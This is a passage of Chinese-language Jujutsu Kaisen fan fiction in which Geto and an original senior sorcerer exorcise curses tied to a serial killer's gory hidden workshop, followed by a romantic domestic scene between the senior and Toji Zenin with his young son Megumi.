霞岛星紘认真的说着,夏油杰眼眸忽然睁大。
他的瞳孔中映出一团扭曲的黑影——头颅呈现出诡异的裂瓣状,每一个开合间都嵌着一只倒三角眼睛,无规则的摆动着,那张血盆巨口将刚刚还在对他耐心讲解的霞岛前辈吞噬掉一大半,尖锐利齿狠狠刺入对方的腹部,血液如烟花般炸开,散落满地。
‘救…救我……’
咒灵发出磕磕巴巴的声音。
夏油杰几乎瞬间反应过来,施展术式——“濡女。”
人面蛇身的女人自地上水渍中探出,绵延身段顷刻将其包裹,濡女张开大嘴,一口将咒灵咬爆。
“霞岛前……”
“没错,就是这样,这就是所谓的术式对抗。”
预想中的血腥场面并没有出现,霞岛星紘完好无损的站在他面前,那双在黑暗中耀眼的眸子弯起,语气欣慰。
“吓到你了?”注意到后辈怔愣的表情,霞岛星紘捏了捏那只被她牵着的手,“抱歉抱歉,不过既然会带你过来,就表示我对这个任务有十足的把握,不用担心。”
夏油杰反应过来,眉心并没有舒展,却还是下意识的苦笑道:“下次请换一种不太吓人的教学方式吧,前辈。”
他的心脏在这一天内收到太多刺激,要受不了了。
霞岛星紘眨了眨眼睛,过了一会才回道:“好哦。”
“那我们接着讲,”她又道,“领域中有着‘必中’的效果,如果实力相当,你可以选择硬扛下,或者开启简易领域,将必中效果中和。不过,这次的难度对夏油同学来说是手拿把掐哦。”<
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p>“那个,”被牵着往前走的夏油同学有话要问,“日记本和咒灵有关吗?”
“算是吧,和我的术式关系比较大。”
术式…好像是很私人的问题。
夏油杰点点头,换了一个他一路上都在思考的问题:“鹰介先生身上的咒灵,不用处理吗?”
“当然要处理咯,不过我们要先找到一些东西。”
霞岛星紘挥着镰刀,在空中划出一道一米左右长的痕迹。
等待空间开启的时刻,她转过头。
“我啊,很喜欢研究诅咒形成的原因。愤怒,悲伤,悔恨,纠结,恐惧……每一个诅咒就像是一类人一个阶段的缩影,是一本枯燥无聊充满危险,但对我来说却很有意思的书…会不会觉得很奇怪?”
她说话时左手也一直抓着夏油杰,就带领小孩子过马路的幼师一样。
夏油杰下意识想摇头,但潜意识里是觉得有些奇怪的。
就像是没有人会在打死蚊子前关心蚊子的一生一样。
“没关系,觉得奇怪是正常的。只不过我认为做咒术师呢,一定要为自己找到一个目标,像是除掉一千只诅咒啊,将自己的能力开发到极致啊之类的。探究咒灵形成的原因也只是我的目标而已。”
霞岛星紘盯着夏油杰的眼睛。
“毕竟诅咒是不会被除尽的,夏油。如果只将除掉诅咒作为使命,漫漫人生,将会度过的非常艰难。”
睫毛在眼睑下投出细密的阴影,却遮不住眼底那抹灼灼的金色。
很烫,仿佛将心脏某个部分点燃了一样。
艰难…吗。
也许吧。
可这是属于咒术师的职责——拥有力量的人,不就该去保护弱者吗?
夏油杰不太明白。
“我很欢迎夏油同学的到来,咒术师本身就是一个人才稀缺的行业……但人员的缺少,也就说明这条路并不容易走,前方是一片黑暗,荆棘与方向都要靠自己去摸索。当成前辈的忠告也好,当成新生活刚开始就忍不住扫兴的家伙的胡言乱语也罢,和你说这些,不是想打击你的积极性,毕竟前辈也是从兴奋与憧憬中走过来的。我只是想说…”
她顿了顿,目光如同温柔的抚摸。
但夏油杰总觉得,霞岛前辈好像在透过自己看谁。
“不是因为你拥有特殊力量,所以必须要去做这件事。而是因为你拥有力量,所以决定要去做这件事。”
“这句话,我希望你记住。”
霞岛侧身,让还在消化这些话的夏油杰看清他们所踏入的房间。
脑袋在这一刻停止了转动。
这里,是地狱吗?
不,是现实吧。
破旧不堪的房间,地板上是散发着腥臭味已经暗沉的血液。
正中央,矗立着一张巨大的铁质手术台,台面上闪烁着冰冷的金属光泽与似乎是人体组织的碎片。
而手术台旁摆放着令人毛骨悚然的道具——锋利的手术刀,带着倒刺的皮鞭,形状怪异的钳子与半米长的锯子。
房间的四周,是无数个展示台。
上面挂着一个个甚至都不能称之为人类的尸体,浸泡在福尔马林中、发出刺鼻的气味。
胸前如花瓶般被塞满了双手、被针线强行缝出笑容的尸体。
头被高高吊起仅剩下几缕皮肤组织与脖颈相连、切除了四肢的尸体。
肚子被切开,露出腹中胎儿,脸上被缝上了十几只眼睛的尸体。
……
这些尸体无一例外,全部穿着昂贵华丽的衣服,在草绿色的液体中,或荒诞,或妖异,或诡谲。
夏油杰愣在原地。
一个可怕的认知浮现脑海中——
这些尸体,是走廊上那些画像里的女人。
想法升起的瞬间,一只巨大的咒灵,悄无声息的出现在夏油杰身后。
8. No.8
夏油杰从小就知道,他和别人不太一样。
能看到一些奇怪的东西。
有些小小的,匍匐在人类的肩膀上。有些又很大,像是人类背着一个庞然大物。
“那是什么?”
年幼的夏油杰指着空气问自己的父母,却也只得到了‘这孩子又乱说话了’的埋怨与责怪。
次数多了,还会引起父母的争吵。
‘你是怎么教育孩子的?’‘这又不是我一个人的责任吧?我也要上班的啊!’
父亲与母亲看不到那些东西,朋友同学也看不到。
‘谎话精’‘骗人鬼’‘怪胎’。
‘不乖的小孩’。
于是小小的夏油杰学会了沉默,学会了将那些秘密埋藏在心底。
装作看不到,装作一个普通人,成为一个乖小孩。
但他也会想——
为什么会是自己?为什么只有自己?
这样的能力,存在的意义又是什么呢?
拥有这个能力的自己,存在的意义又会是什么?
只是为了体验无法诉说的痛苦吗?
这个问题,夏油杰七岁那年,得到了解答。
那是一个平静的午后。
夏油杰按部就班的走着往常放学回家的路,穿过公园里同龄人嬉戏的声音,走入笔直而狭窄的街道。
在一个无比寻常的贩卖机前,一位老妇人拦住了一个小女孩。
“我的钱掉在贩卖机下了,能帮我捡起来吗?”
小女孩没有犹豫,点头答应了下来。
老妇人好像很开心,但她的嘴角却越来越大,几乎快要咧到耳朵旁。
她低下头,眯成一条线的眼睛出现在小女孩面前,声音苍老沙哑——
“你,看得到我啊。”
老妇人缩在袖子里的手尖锐弯曲,顷刻间伸到了小女孩眼前。
要保护她。
这个想法几乎是瞬间出现在他的脑袋里,快到夏油杰第二秒才开始疑惑为什么。
从小到大,他似乎都被包裹在‘保护弱者’这个认知里。
路边,制止小孩子欺负流浪狗的行人。
学校里,呵责了高年级欺负低年级学生的行为的老师。
公交车上,为老人让出座位的乘客。
在这个以规矩为框架,道德为标杆的时代,保护弱者的行为随处可见。
但唯独在这件事上。
只有‘看的到’的他能够做到。
这份力量,不是怪胎,不是异类,不是谎言。
是他之于这个世界的意义。
是他保护弱者的武器。
这,就是他的使命也说不定。
那时,夏油杰心中萌生出了这样的想法。
所以,即使咒灵玉的味道再难吃,他也会忍着痛苦将其咽下。
意义这个词,对他而言太重要了。
这些年间,夏油杰咽下过无数咒灵玉——如同一块发霉的旧布在阴雨天渗出腐朽汁液,混合着擦拭不尽的尘垢与酸楚的味道,于他而言已经不那么难咽下去了。
并不是因为接受了这些,而是早在一次又一次的说服自我中成为了习惯。
那些女人的怨念所幻化成的咒灵被打败了。变成了与其他咒灵一样,圆润而散发光芒的咒灵玉。
周围也恢复成了二楼普通模样。
夏油杰没有吞下,只是将其放在掌心。
这是他第一次在知晓咒灵形成原因后获得的咒灵玉。
入学前,他猜到了一部分真相——咒灵的产生是由负面情绪所演化的。
可猜到,与真正面对血淋淋的现实是不同的。
“不要有心理负担,”霞岛星紘蹲在他身边,“这只是她们负面情绪的集合体,真正快乐而温馨的部分,早就随着她们的灵魂上了天堂,夏油是在做好事呢。”
“霞岛前辈还相信神的存在吗…”
令人意外。
“不信,”对方否认的很快,“但我这么说你应该会好受一点吧。”
……好吧。
但其实也只是勉勉强强。
夏油杰捏着咒灵玉放入口中,随着吞咽喉结滚动,恶心而熟悉的味道再次出现于口腔之中。
“好孩子。”霞岛星紘摸了摸他的头,“对不起。”
“这次又是为了什么而道歉,可以提前说吗前辈。”
夏油杰鼓了鼓单侧脸颊,试图用空气将残留的余味压下,听到霞岛的话后无奈又警惕地问。
“第一次参与任务就让你看到了不舒服的画面,是为了这个道歉哦。”
霞岛星紘从口袋里掏出一颗糖,外包装皱皱巴巴的,但是味道不错,薄荷味的。
被前辈突兀的将糖果推进嘴里的夏油杰想。
说实话,脑袋还有一点混乱。
夏油杰不太想露出脆弱的一面,便转移话题:
“这些,是鹰介先生做的么?”
霞岛星紘没有含糊,给出了肯定答案:“是,他是凶手,以及…”
她顿了顿,似乎在观察夏油杰的状态。
“拦下我们的巡警说这一带最近频发女生失踪的案件,你还记得吗?”
“嗯,难道也是…?”
“不,近期的失踪案不是他的手笔。”
霞岛星紘表情难得严肃,至少是夏油杰第一次从她脸上看到这样的神色。
“那些女孩,还没有死。”
*
“呀,你醒了?”
霞岛星紘睁开眼眸,小刀的寒芒距离她的瞳孔不足一公分。
目前的情况,是她被绑在了椅子上,嘴巴也被贴上了胶带。
“初次见面的时候就发现了,你的眼睛很好看呢。”
鹰介悠斗收起小刀,蹲在霞岛星紘前,手肘撑着她的膝盖,双手托住脸颊。
“那时候我就想……一定要把你也做成艺术品。”
霞岛星紘瞥向不远处躺在地上的夏油杰。
“别担心,我对男人没什么兴趣,最多也只是把他剁碎丢进下水道里罢了。”鹰介悠斗弯起眼睛笑了笑,“你已经见过她们了吧?我能感觉到,那些脏东西消失了…辛苦你咯,小清洁工。有她们在,我都无法去心爱的收藏室呢,一群没用的东西,死前奈何不了我,死后反倒给我添了许多麻烦。”
似乎是觉得自己一个人一直说下去没什么意思,鹰介悠斗撕掉了霞岛星紘嘴上的胶带。
“说些什么吧,哭喊、哀求、咒骂…什么都可以。”
霞岛星紘眨了眨眼,“你想把我制作成什么样子的艺术品?”
“哈!”鹰介悠斗大笑,忽然一把抓住她的头发,看霞岛星紘因为疼痛而眯起眼睛的样子,更加愉悦的笑了起来。
“我不喜欢自以为是的女人…你知道吗,有一个女人和你一样,明明只是我用来做掩护的棋子,不过像宠物那样随意逗了逗,就死心塌地的爱上了我。即使发现了我藏在那里的秘密,也
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一副痴情的样子说愿意成为我的艺术品,唯一的条件是等待孩子降生……”
他眼神盯着窗户外的山,忽然空洞了一瞬。
霞岛星紘的视线中,坐落于鹰介悠斗身上的咒灵变得更大了。
是那里啊…。
“我怎么可能会满足她啊?”
鹰介悠斗原本俊朗的五官扭曲成不似人类的模样,他像是在皱眉,又像是在笑,眼里透露出疯狂。
“所以我把她生剖了。让她亲眼看着孩子从自己的肚子里一点一点失去心跳的……哈,她崩溃了。那表情,真是令人欲罢不能……你呢,啊,我知道了,不如我也当着你的面,把他杀死吧?”
不知道是不是错觉,鹰介悠斗说出这话时,他感到背后似乎出现一股凉意。
猛的回头——身后那小子还在沉睡中。
凉意转瞬即逝,似乎是假象。
空调开的太低了么…
“喂。”
什——
鹰介悠斗头还没有完全转回去,就被一股强大的力气一拳打飞。
霞岛星紘顺了顺被抓的翘毛的头发,对还未收起拳头,看起来被鹰介悠斗那些发言气到的男生道:“这个咒灵分身交给夏油同学,没问题吧?前辈去解救那几个小女孩。”
夏油杰点点头,看着霞岛星紘拽下鹰介悠斗脖子上的项链,向后一跃,消失在了房间之中。
*
时间回到两人开始演戏前十分钟。
“没有死…?”
“不过也快了。”霞岛星紘点了点下巴,“如果再找不到藏匿女孩的位置,她们就要被咒灵吃掉了。”
夏油杰想到霞岛星紘用镰刀分割空间的举动,“用前辈的术式也不行吗?”
“嗯…我的术式也没有那么万能,需要一定的媒介。比如说,因为在咒灵的领域中找到了日记本,以此为媒介,我们才能进入这里。但所进入到的这里,仍属于咒灵领域,并非现实。”
“想要找到那些女孩,还要靠比较原始的方式。”
“那,”夏油杰开口,“直接问鹰介悠斗不好吗?”
当然,此问非彼问。
是指暴力模式。
霞岛星紘摇摇头,“鹰介悠斗一个普通人,如何在两个咒灵间活下来?答案是,他被其中一方所‘征用’了。也就是他肩上的那只,那并非完全体,本体应该还藏匿在别处……靠着吸取鹰介悠斗给这片地方所带来的‘恐惧’获得力量,但随着时间推移,社会发展,行凶变得不那么容易,那家伙便忍不住出手了,鹰介悠斗被咒灵吞噬也是迟早的事。”
“那家伙是?”
“假象怨灵,畏呑。”
霞岛星紘像百科全书一样吐出诅咒的名字。
“这是一种吸食人类恐惧情感的诅咒,之所以没有杀掉女孩子,大概率是为了培养她们的恐惧,但如果我们没有找到本体所在的位置,贸然出手,她们估计会成为诅咒短时间内提升能力的能量棒。”
原来是这样。
“但既然是咒灵的话,为什么鹰介悠斗会找上我们?”
这和给家里养的狗吃巧克力有什么区别?
夏油杰想。
“咒术师会将负面情绪转化为咒力,但畏呑的领域能够短时间内限制这种转化——咒术师被抑制的恐惧将会成为垂涎欲滴的珍馐美食。”
霞岛星紘在手里转着镰刀,朝夏油杰勾起唇角,
“不过不用担心,前辈我啊,可是很强的。”
9. No.9
与畏呑的战斗毫无疑问,如同霞岛前辈所说的一样——她很强,甚至还有能力在打到残血时将夏油杰拉过来,让他收掉人头。
强大的特级咒灵,它所在的区域,是一片尸山。
‘截至目前,已经有九十三人失踪,还请三位注意安全’
巡逻警察的话在脑海中浮现。
九十三?不…至少有几百吧。
这将是他以后经常看到的景象吗。
夏油杰视线扫过一旁救下的女孩们,想象中的成就与满足却没有那么深刻。
如果,再早一点的话……
“现在,永远是最好的时间。”一只温暖的手伸过来挡住了眼睛,霞岛前辈的声音从面前响起,“此时此刻,因为你的到来救下了她们,已经很棒了哦,不要让愧疚的慈悲对自己产生负担。”
一颗咒灵玉被递到嘴边。
“不过该吃的东西还是要吃的,夏油同学。同样难吃的东西一天要吃两次,会很不舒服吧?但这能成为你探索前路的武器,所以别怪我哦。”
夏油杰脑袋上忽然多了一股力道——将自己的脸按到霞岛前辈胸前。
瘦小但柔软,因为战斗而破损的衣物下传来茉莉花的香气,宁神气味麻痹了神经,让他的大脑短暂获得了休息时刻。
“…算了,还是怪我吧。”
霞岛星紘摸着夏油杰的头发,一下又一下。
夏油杰想起,小时候邻居家的阿姨总对她的小孩做这样的动作。
“做会让自己难受的事,如果还以自己为缘由,只会徒增烦恼。不如就把前辈我当成恶人——不吞掉的话就会被霞岛扇巴掌,或者再被我带出去兜风,这么想会不会好一点?夏油?”
霞岛星紘语调轻松。
“前辈知道自己的车技很烂啊。”
夏油杰的声音因为隔着衣物所以有些闷。
“是偶尔也会把自己开吐的程度呢。”
空气沉寂了几秒。
“鹰介悠斗。”
夏油杰喃喃出这个名字。
将三层和四层进行改造,降低两层的使用高度,以此来分隔出难以被发现的3.5层,作为行凶场地。
恶人,罪人。对自己所做的事无一点忏悔——不对,忏悔了,将他绑起来的时候,他说后悔没有直接挖出霞岛前辈的眼睛。
除此之外,对于那些女人,他只留下了一句话——成为我的艺术品是她们的荣幸。
这些尸体,又有多少是因他而出现的呢。
霞岛前辈,看起来像是会直接狠揍他一顿的人,却只是拨通了报警电话,将隔断层的路线图与钥匙放在被五花大绑的鹰介悠斗身边。
“在介意他吗?”霞岛前辈的声音从头顶响起,下一秒,对方的手握在自己的肩膀上,向后隔出一段距离,“前辈没有读心术,所以只能靠猜测来回答问题了。”
啊……
“一,鹰介悠斗在接受社会层面的审判后,由于其特殊性质,将交由咒术总监部处理,受害者家属会得到交代,所以他的事不用担心。”
“二,像是畏呑这样的咒灵终归属于少数,所以不用担心再出现类似事件。况且不是还有前辈在呢嘛。”
霞岛星紘将夏油杰鬓边的头发挽到耳后。
“三,成为咒术师后,你会面对的不仅仅是诅咒对人的伤害,人类对人类,人类对咒术师,亦或者反过来。世界是广阔的,什么事情都有可能会发生,我并不想和你说什么‘坚守本心’这种虚无缥缈又不切实际的话,但是我能保证,如果你有动摇的那一刻,可以随时来找我哦。开解也好,谈心也罢,甚至什么都不做、带你来一趟出国旅行也可以,我…前辈一直都在,不要一个人去消化难过。”
她顿了顿,露出一个笑容。
“关于这一点,我要一个准确答复哦,夏油同学。”
*
凌晨五点,跑车停在了高专前。
一年级负责人夜蛾正道黑着脸,在他旁边的是刚被叫醒、睡眼惺忪的四年级负责人,北原修一。
驾驶位的车门被打开,夜蛾正道正准备开口,就见紫发女生竖起食指比在唇前,
“嘘。”
副驾驶上的黑发少年还处于梦境中,短短几个小时内消化一只上级咒灵与一只特级,还是有些耗费体力的。
霞岛星紘弯了弯眼眸,在黑暗中闪耀的眸子像极了某种猫科动物。
“不要打扰好孩子的睡觉时间。”她用气声说道。
夜蛾正道额角蹦出几个井字。
这是他的学生吧?怎么自己反而成为外人了?
再一看北原修一,已经站着睡着了。
夜蛾正道忍无可忍,对着对方的后腰狠狠踹了一脚。
“什么?上班了?”
北原修一跌坐在地惊醒,完全没有收敛的声音吵醒了夏油杰。
“前辈……夜蛾老师?”
夜蛾正道对于自己的学生还是心疼的。
“陪霞岛胡闹,辛苦你了。”他道。
夏油杰还记得霞岛前辈让自己说好话这件事,摇摇头,“没有,我也受益颇多。”
说完,他下意识看向霞岛星紘。
霞岛星紘挤开夜蛾正道,胳膊趴在车窗上,笑眯眯的伸出手:“距离开学还有一段时间,这两天好好休息,别忘记我们的约定哦。”
“…好的。”
夏油杰勾住了霞岛星紘的小拇指。
目送两人离开,她再次坐上车。
“霞岛。”
北原修一保持着坐在地上的姿势敲了敲车门。
“怎么了老师,需要我扶你起来吗?还是压过去?”
北原修一若有似无的叹了口气。
“都不用。我说你啊……不是每个人都是千楽,别操太多心,你这样会老得很快的。”
霞岛星紘手指点着方向盘,目光直视远方探出头的太阳。
直到眼睛传来酸涩感,才开口回应道:“老师,你有医疗保险吗?”
“故意伤害走不了医疗保险,费用会由你全部承担。”
“太好了,就从这次的任务费里扣除吧。”
霞岛星紘启动电源。
“你去哪里?”北原修一自动忽略了对方刚才的话。
“难得假期,当然要去享受恋爱了,和单身二十七年的老师不同,我可是很有男人缘的。啊…对了。”
伴随着跑车的轰鸣,霞岛星紘举起手挥了挥。
“今天这样的事,还会有下次的哦,你最好提前和夜蛾老师打好招呼——”
北原修一望着飞速驶去的背影,深深叹了口气。
这些学生们,都是一群听不进人话的家伙。
是了。
是这样的。
北原修一迎着朝阳,从地上站起身。
那些家伙单纯幼稚,又固执、愚蠢。
坚守着自认为的正义,却在不知不觉中被肮脏龌龊的黑暗吞噬。
到头来,唯有最死板听话的那个活了下去。
成为了真正的唯一。
“啊,好困…可恶,明明是假期还要早起啊……”
北原修一打了个哈欠,转身朝学校内走去。
*
霞岛星紘趴在床边。
“盯——”
床里的小孩子也,
“盯——”
一大人一小孩的对视大概持续了三分钟,最终以小孩子瘪瘪嘴,哇的一声哭出来为结束的号角。
霞岛星紘脸上的笑容一僵,罕见的露出了惊慌失措的模样。
怎么办?怎么办?!要上厕所吗?还是饿了?要吃奶吗?
“抱抱——”
看着面前这个大概两三岁左右的小孩子,霞岛星紘试探性的伸出手。
对方果断张开双臂,暗示着:快来抱我。
他眼尾还闪烁着泪花,一双与绿色大眼睛盯着霞岛星紘的脸。
不妙,超像甚尔的,好可爱。
霞岛星紘看着怀里的小孩想。
她没抱过孩子,但小孩好像已经习惯由自己调整位置了般,选了个舒服的姿势——然后小手从下面一把掀开霞岛星紘的雪纺衫。
诶……
诶诶诶?
这是在做什么?就算她已经成年了也不可能会有那种东西的吧?
门在一大一小陷入混乱之际被悄然打开。
只见女生试图在不弄疼小孩子的前提下单手抓住衣角,但另一边单薄的布料已经上翻,露出一节盈盈一握的纤细腰肢,以及在蕾丝包裹下意外有料的身材。
禅院甚尔进来时,看到的便是这样一副场景。
“…你在干什么?”
霞岛星紘缓慢抬头。
霞岛星紘:…
霞岛星紘:!!
西红柿从青涩到成熟仅用了不到一秒。
霞岛星紘猛的拿起被子挡在面前,惊慌失措语无伦次:“甚尔…你怎么不敲门啊啊啊啊吓死我了…”
“这是我家。”禅院甚尔挑了挑眉。
“噢…”
说的也是。
怀里的小孩还在不安分的动着,瞬间冷静下来的霞岛星紘看着靠在门框旁的禅院甚尔,视线忽然下移了一些。
灰色针织衫松垮的垂在禅院甚尔身上,布料柔软,却在胸前被撑起一道紧绷的弧线。
啊,是啊,甚尔……有胸肌。
虽然这并不太能解释小孩这习惯性的动作,但——这个家里根本没有女性生活过的痕迹啊,她只能这么想了。
这就是父爱吗…!!
禅院甚尔眯起眼睛:“不管你在想什么,别用那种眼神看我。”
“嘿嘿。”
霞岛星紘下意识露出笑容,但胸前忽然传来的刺
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痛感令她瞬间发出闷哼,直接单膝跪在地上。
……这又是在演哪一出?
禅院甚尔抱肩观察了几秒,听对方发出低声抽泣。
他揉了揉脑袋,啧了一声后大步走了过去。
“怎么了?”
霞岛星紘抬起头,两滴眼泪分别挂在下睫毛上。
她扯着自己被咬坏的衣领,以及裸//露肌肤上明晃晃的牙印,控诉道:“坏爸爸!”
“哈?”禅院甚尔咧嘴。
又不是他咬的。
小孩子无辜的朝她眨眼——很好,这位没错。
“是我的错,怪就怪在我的胸肌没有甚尔的硬,不能让他愉快的啃咬。”
在对方眼波攻击下缴械投降的霞岛星紘说。
“……”
五分钟后,霞岛星紘穿着禅院甚尔同款针织衫,出现在了客厅。
禅院甚尔居住的是一所公寓,单人间,卧室被他改成了婴儿房,他平时睡在客厅,茶几上杂乱的摆着几张报纸,除此以外没什么别的设施。
这个年纪的小孩子,完全可以用四个字概括:吃喝玩乐,刚才换衣服的空档他就已经又陷入睡眠了,被禅院甚尔放回了床上。
霞岛星紘看向岔开腿坐在沙发上玩手机的男人,走到他面前,十分自然的坐到了两腿之间仅存的一点沙发空隙上。
虽说衣服有点太大,甚至都能当裙子穿了。
但甚尔的味道包裹着她。
——超幸福。
“甚尔,他叫什么?”
“惠。”
“真是个好名字啊。”
霞岛星紘向后一靠,毛茸茸的脑袋抵在禅院甚尔胸前。
禅院甚尔任由她靠着,手里继续翻看着孔时雨提供的资料。
“天逆鉾?”
“听过?”禅院甚尔低头瞥了她一眼。
他手机举的高——虽然对他来说只是正常高度,但霞岛星紘需要仰头。从禅院甚尔的角度去看,只能看到她眼镜下上翘的睫毛以及小巧的鼻尖。
霞岛星紘点点头,头顶的呆毛随着动作摇晃,像一支逗猫棒,在禅院甚尔的下巴扫来扫去。
“甚尔想要这个咒具吗?我帮你搞到手。”
“没钱付给你。”有点痒。禅院甚尔抬手把她的头发压下去,也没将她的话当真。
“什么钱?”霞岛星紘起身在他怀里转了个圈,改成跪在沙发上,她略弯腰,双手搭在禅院甚尔肩膀上,“啊…不需要,我说过的,甚尔想要的东西,我都会帮你得到。”
她微微扬脸,嘴角向上弯起。
“如果甚尔能给我一个亲亲就更好啦——”
正经不过一秒,霞岛星紘俯身亲了上去。
唇蜜的淡粉色在禅院甚尔的唇上留下痕迹,这种颜色看起来与强壮的男人并不相配。
但这是属于她的痕迹。
霞岛星紘眼睛一亮,又贴了上去。
就在她准备分开时,男人不知何时放下手机的手忽然拦住了她的退路。
“…?!”
强硬的力道使霞岛星紘第一次体验到自食其果的感觉。
牙齿被粗鲁的撬开,口腔里多出的异物卷着她的舌头缱绻,侵略性十足的扫过每一寸软肉。
扶在肩膀上的手下意识变成推搡,但那点力气终归是不够的,反倒多了些欲拒还迎的滋味。
以往总是活力满满的金眸此刻充满了震惊,禅院甚尔腾出放在她头上的手,盖住了她的眼睛。
睫毛在他掌心剐蹭,像是被捧在手中振翅的蝴蝶。
“甚尔…呼、吸…唔…”
发出了含糊不清却暧昧的音调,尾音颤抖。
呵,纸老虎。
禅院甚尔抹掉她嘴边的银丝,任凭她呆楞两秒,然后害羞的一头撞在自己肩上,丝毫没有把人家搞得乱七八糟的愧疚,还要杀人诛心:“原来没经验啊。”
“嗯…”霞岛星紘倒是没有否认,小声回应。
两人的胸腔贴合,但自己的心跳声太大,她一时分不清。
紧张,害怕。
但果然,还是喜欢更多。
“甚尔。”
“嗯?”男人心情不错,他在手机上孔时雨发过来的疑问下回复【接了】二字,一个紫色脑袋忽然凑到了面前。
禅院甚尔与她对视。
只见霞岛星紘红着小脸,面色却无比认真:
“接下来,我们是不是要上//床了?”
“?”
“啊对,安全//套——你有吗?”
此时此刻,禅院甚尔是真的有点想打开霞岛星紘的脑袋看看里面都装了些什么。
禅院甚尔捏起她的脸,嘟起的嘴唇让她看起来像一只河豚。
倒是不令人讨厌。
“你要是很闲,就去照顾那个小鬼。”
禅院甚尔说。
10. No.10
“小惠在哪里?”
茶几上方的空气中划出一道浅蓝色裂纹,穿着蓝白条纹儿童服装的小孩子以缓慢的速度从中降落,又被立刻抱在怀里。
“在这里呀!”
霞岛星紘抱着他向后一倒,下一秒又从屋顶的吊灯旁出现,腾空的感觉让小孩很是兴奋,发出叽叽喳喳如小雀般的声音。
紧接着是厨房,阳台,婴儿房……最后是禅院甚尔的怀中。
整个屋子里充满了霞岛星紘的咒力。
当然,学校规定的未经允许不得使用咒力这点早被她忘的一干二净。
反正那些人也管不住她。
“小惠,看,是爸爸接住了你哦。”
霞岛星紘在他怀里肆无忌惮的乱动,小惠在霞岛星紘怀里咿咿呀呀的乱叫。
禅院甚尔被吵的头大。
——他说的照顾,可不是这个意思。
原本就是因为嫌那个小鬼太吵才想交给她,结果两个人在一起更吵了。
这是哪?幼儿园吗?
霞岛星紘看向捏着眉心的男人,眼睛眨眨。
“甚尔,我饿。”
小惠正是模仿并学习语言的阶段,他学着霞岛,有模有样的发出“饿,饿”的声音。
“小惠想吃咖喱饭,对不对?”
仗着小孩只会模仿尾音,霞岛星紘理所当然的提出自己想吃的东西,她抱起小惠,鼻尖对鼻尖,左右轻轻蹭了蹭。
“一定要爸爸亲手做的才好吃,是不是?”
“失(是)——”
面对一大一小期待的目光,禅院甚尔手肘靠着沙发撑着脑袋道:“家里没有咖喱。”
霞岛星紘没有犹豫,打了个响指:“现在有咯。”
能使用空间系就是如此便捷。
禅院甚尔轻哼声,似笑非笑的盯着她。
没怎么从对方脸上看到过这种表情,霞岛星紘一时间有些懵。
“甚……”
禅院甚尔忽然伸出手,抓着她的领子,欺身压了上去。
倒也没真的想再做些什么,只不过突然想起之前自己也是这么被丢进咒灵领域里,吓唬一下她而已。
看霞岛星紘受惊吓的样子还挺好玩的。
不过对方好像没有被吓到,只是有点不明所以的歪了歪脑袋。
禅院甚尔感到无聊,松开手——
小惠夹在两人胸前,左看看右看看,就被女生托着屁股向上提了提,属于小孩子白嫩的小手下意识抓住男人的衣领。
霞岛星紘顺势握着禅院甚尔的手放到腰后,下巴枕到他左肩的位置,就着缩近的距离将两个人全部抱住。
霞岛星紘脸颊贴着他的耳朵,视线停留在黑发的尾端,温热的呼吸对着颈窝轻轻吹了口气。
“甚尔,最喜欢你了。”
这是来自左边的声音,黏黏腻腻好像要融在他身上似的。
“甚尔,薯饭。”
这是来自右边的声音,还附了点口水作为赠品。
“…”
被左右夹击的禅院甚尔沉默的看着面前空荡荡的墙壁。
十分钟后。
禅院甚尔手拿胡萝卜站在厨房中。
客厅里是霞岛星紘兴奋的声音:
“耶耶,小惠飞高高——”
“小惠出击!打倒渡月大魔王——”
“小惠超棒哦——”
好吵。
禅院甚尔将胡萝卜切成滚刀块,余光从霞岛星紘露出的笑脸上收回。
这家伙,比真正的小孩玩的还开心。
这个房子里从来没有这么吵闹过——连那个小鬼嗷嗷哭时,禅院甚尔都不觉得声音有这么大。
感觉快要把屋顶掀翻了。
平底锅中的黄油被高温火焰融化,发出滋滋声与浓郁的奶油香气。禅院甚尔想起进厨房前霞岛星紘特意提了一嘴——“我讨厌洋葱,超级讨厌!”。
说这话时她整张小脸都皱起来了。
哦,讨厌啊。
禅院甚尔果断将散发着辛辣气味的洋葱切成丝放入锅中。
随便翻炒了几下,原本晶莹剔透的蔬菜忽然在眨眼间变成了焦黄色,还隐约飘上来几缕黑烟。
…火大了。
他盯着糊掉的洋葱丝几秒,装作什么都没发生的样子继续下入牛肉。
禅院甚尔其实不太会做饭,也很少做饭。
之前住在那些女人家中,顶多做个三明治或者粥之类简单易上手的菜品装装样子。
一个人的情况下,就在外面随便吃两口应付。
以他强壮的胃,哪怕吃了半生不熟或者不太干净的东西也不会有任何问题。
但霞岛星紘应该不行。
被咬了一口就掉眼泪的家伙……
娇气。
他的手忽然顿了顿。
“甚尔——”
腰间多出股力道,男人早有察觉,但并未阻止。
真是想什么来什么。
禅院甚尔很壮,肩膀宽阔,腰际却利落收窄,即使是霞岛星紘这样的小个子也能用手臂完全环住。
“唔…”霞岛星紘将脸贴在他背上,哼哼唧唧,“喜欢喜欢喜欢喜欢喜欢喜欢——”
要说多少次啊。
禅院甚尔想。
小惠已经在沙发上睡着了,盖着薄薄的被子,手里还抱着霞岛星紘的镰刀(刀刃被包起来版)。
禅院甚尔盖上锅盖,捏着她的手腕将手从腰上挪开,转身半靠在柜子前。
眼前女生穿着他的衣服,长度甚至完全挡住了原本的短裤,笔直又纤细的双腿下踩着一双干净的黑色马丁靴。
卷卷的短发,鬓边刘海又十分柔顺,将本就小的脸遮挡住了大部分。
被喜欢的人打量着,她有些害羞,但并没有避开他的眼神。
坦然,从容。
好像无论他做些什么都能平静接受。
“不抱么?”禅院甚尔扬了扬眉。
话音刚落下,霞岛星紘就扑进了他怀里。
“欸为什么?忽然主动提出……难道说在咖喱里下毒了吗?啊没关系就算这样我也会全部吃掉的——”
“是吗,这么喜欢我啊。”
甚尔的声音从头顶传来。
“喜欢哦,最喜欢超喜欢世界第一喜欢。”霞岛星紘回答的不假思索,“甚尔需要我做什么吗?”
“嗯?”
“一般漫画里这么说的男主角,下一个画面就是要求女生为他做些什么…可以哦,不管什么事,我都会去做的。。”
不管什么事,全部,一定……
她好像很喜欢用这样的词。
每一次。
每一次。
啊…不知道为什么,每次听到她这么说,就觉得有些不爽。
“看在那张卡的份上,给你个忠告。”
禅院甚尔掐着她的下巴,强迫她抬起头。
“以后少对别人说这种话。”
霞岛星紘下意识皱眉:“哪有别人的事,甚尔是唯一——唔…”
她被一股蛮力向后推去,脑袋磕到冰箱发出吃痛的声音。
男人的膝盖顶进两腿之间稍稍用力,让她不得不踮起脚尖,即使这样也才勉强够到地板。
